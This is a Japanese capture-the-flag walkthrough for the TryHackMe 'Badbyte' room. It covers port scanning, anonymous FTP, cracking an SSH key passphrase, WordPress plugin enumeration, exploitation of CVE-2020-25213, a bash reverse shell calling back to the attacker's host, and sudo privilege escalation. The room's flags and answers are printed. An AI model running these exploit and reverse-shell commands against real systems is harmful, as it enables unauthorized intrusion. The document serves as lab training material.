概要
TryHackMe「Badbyte」のWalkthroughです。
Task2
Q1.How many ports are open?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.40.228 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:a2:ed:93:4b:9c:bf:bb:33:4d:48:0d:fe:a4:de:96 (RSA)
| 256 22:72:00:36:eb:37:12:9f:5a:cc:c2:73:e0:4f:f1:4e (ECDSA)
|_ 256 78:1d:79:dc:8d:41:f6:77:60:65:f5:74:b6:cc:8b:6d (ED25519)
30024/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 1743 Mar 23 2021 id_rsa
|_-rw-r--r-- 1 ftp ftp 78 Mar 23 2021 note.txt
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
30024 | ftp | vsftpd 3.0.3 |
A.2
Q2.What service is running on the lowest open port?
A.ssh
Q3.What non-standard port is open?
A.30024
Q4.What service is running on the non-standard port?
A.ftp
Task3
Q1.What username do we find during the enumeration process?
Hint.read the note.txt
FTPにAnonymousログインします。
$ ftp -P 30024 10.10.40.228
Connected to 10.10.40.228.
220 (vsFTPd 3.0.3)
Name (10.10.40.228:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
二つのファイルを発見しました。
ftp> ls
229 Entering Extended Passive Mode (|||5857|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 1743 Mar 23 2021 id_rsa
-rw-r--r-- 1 ftp ftp 78 Mar 23 2021 note.txt
ダウンロードします。
ftp> prompt
Interactive mode off.
ftp> mget *
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||29351|)
150 Opening BINARY mode data connection for id_rsa (1743 bytes).
100% |*****************************************************************************| 1743 730.53 KiB/s 00:00 ETA
226 Transfer complete.
1743 bytes received in 00:00 (7.06 KiB/s)
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||50405|)
150 Opening BINARY mode data connection for note.txt (78 bytes).
100% |*****************************************************************************| 78 107.13 KiB/s 00:00 ETA
226 Transfer complete.
78 bytes received in 00:00 (0.31 KiB/s)
note.txt
からユーザー名が分かりました。
I always forget my password. Just let me store an ssh key here.
- errorcauser
A.errorcauser
Q2.What is the passphrase for the RSA private key?
FTPからダウンロードしたid_rsa
ファイルのパスフレーズを解析します。
$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
cupcake (id_rsa)
A.cupcake
Task4
Q1.What main TCP ports are listening on localhost?
パーミッションの設定をし、ターゲットマシンにSSH接続とポートフォワーディングをします。
$ chmod 600 id_rsa
$ ssh -i id_rsa errorcauser@10.10.40.228
-bash-4.4$
/etc/proxychains4.conf
を編集します。
(省略)
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1337
ターゲットのローカルネットワークにポートスキャンをします。
$ proxychains nmap -sT 127.0.0.1
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
ローカルで動作しているポートが分かったのでSSHでフォワーディングの設定をします。
$ ssh -i id_rsa -L 80:127.0.0.1:80 errorcauser@10.10.84.63
A.80,3306
Q2.What protocols are used for these ports?
A.http, mysql
Task5
Q1.What CMS is running on the machine?
SSHポートフォワーディングの設定をし、80
番ポートにアクセスします。
フッターからWordPress
で作成されたことが分かります。
A.wordpress
Q2.Can you find any vulnerable plugins?
Hint.search-limit=1500 and -vv
Nmapに用意されているWordPressのスクリプトを使用して再度スキャンします。
スクリプトのドキュメントを参考にオプションを設定します。
$ nmap -sCV --script http-wordpress-enum.nse --script-args type="plugins",search-limit=1500 -p 80 127.0.0.1 -vv
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-wordpress-enum:
| Search limited to top 1500 themes/plugins
| plugins
| duplicator 1.3.26
|_ wp-file-manager 6.0
duplicator 1.3.26
,wp-file-manager 6.0
の存在を確認できました。
Q3.What is the CVE number for directory traversal vulnerability?
Hint.CVE-2020-11XXX
duplicator 1.3.26
プラグインの脆弱性を検索するとCVE-2020-11738
が見つかりました。
A.CVE-2020-11738
Q4.What is the CVE number for remote code execution vulnerability?
wp-file-manager 6.0
の脆弱性を検索するとCVE-2020-25213
が見つかりました。
A.CVE-2020-25213
Q6.What is the name of user that was running CMS?
CVE-2020-25213
のexploitを実行します。
PoCは下記リポジトリを使用しました。
$ python exploit.py http://127.0.0.1:80 id
uid=1000(cth) gid=1000(cth) groups=1000(cth),27(sudo)
A.cth
Q7.What is the user flag?
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
RCEでリバースシェルを張ります。
$ python exploit.py http://127.0.0.1:80 'bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"'
cth
アカウントでシェルを張れました。
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/home/cth/user.txt
からユーザーフラグを入手できました。
THM{227906201d17d9c45aa93d0122ea1af7}
A.THM{227906201d17d9c45aa93d0122ea1af7}
Task6
Q1.What is the user's old password?
Hint.Basic Linux Enumeration.
TryHackMeのコンテンツ文からログが怪しいと推測できます。
/var/log/bash.log
から古いパスワードを得られました。
Script started on 2021-03-23 21:05:06+0000
cth@badbyte:~$ whoami
cth
cth@badbyte:~$ date
Tue 23 Mar 21:05:14 UTC 2021
cth@badbyte:~$ suod su
Command 'suod' not found, did you mean:
command 'sudo' from deb sudo
command 'sudo' from deb sudo-ldap
Try: sudo apt install <deb name>
cth@badbyte:~$ G00dP@$sw0rd2020
G00dP@: command not found
cth@badbyte:~$ passwd
Changing password for cth.
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
cth@badbyte:~$ ls
cth@badbyte:~$ cowsay "vim >>>>>>>>>>>>>>>>> nano"
____________________________
< vim >>>>>>>>>>>>>>>>> nano >
----------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
cth@badbyte:~$ cowsay " g = pi ^ 2 "
______________
< g = pi ^ 2 >
--------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
cth@badbyte:~$ cowsay "mooooooooooooooooooo"
______________________
< mooooooooooooooooooo >
----------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
cth@badbyte:~$ exit
Script done on 2021-03-23 21:07:03+0000
A.G00dP@$sw0rd2020
Q2.What is the root flag?
Hint.What is the new Password? :)
更新後のパスワードを推測します。
2020
なので2021
,2022
などの可能性があります。
sudo -l
を実行する際にG00dP@$sw0rd2021
で認証をパス出来ました。
$ sudo -l
sudo -l
[sudo] password for cth: G00dP@$sw0rd2021
Matching Defaults entries for cth on badbyte:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cth may run the following commands on badbyte:
(ALL : ALL) ALL
rootに昇格できました。
$ sudo /bin/bash
sudo /bin/bash
root@badbyte:/var/log#
/root/root.txt
からルートフラグを入手できます。
| ______ ________ ________ ______ _____________ __________ |
| / ____ \ / ___ \ / ____ \ / ____ \ /____ ____// ______/\ |
| / /___/_/ / /__/ // / / /\ / /___/_/ \___/ /\___/ /______\/ |
| / _____ \ / ____ // / / / / / _____ \ __ ___ / / / / ____/\ |
| / /____/ // / __/ // /___/ / / / /____/ // | / // / / / /____\/ |
| /________//__/ / /__//_________/ / /________/ | \/ //___/ / / /________ |
| \________\\__\/ \__\\_________\/ \________\ \ / \___\/ /____________/\ |
| _________ __/ / / \____________\/ |
| /________/\ /_____/ / |
| \________\/ \_____\/ |
THM{ad485b44f63393b6a9225974909da5fa}
________________________
< Made with ❤ by BadByte >
------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
A.THM{ad485b44f63393b6a9225974909da5fa}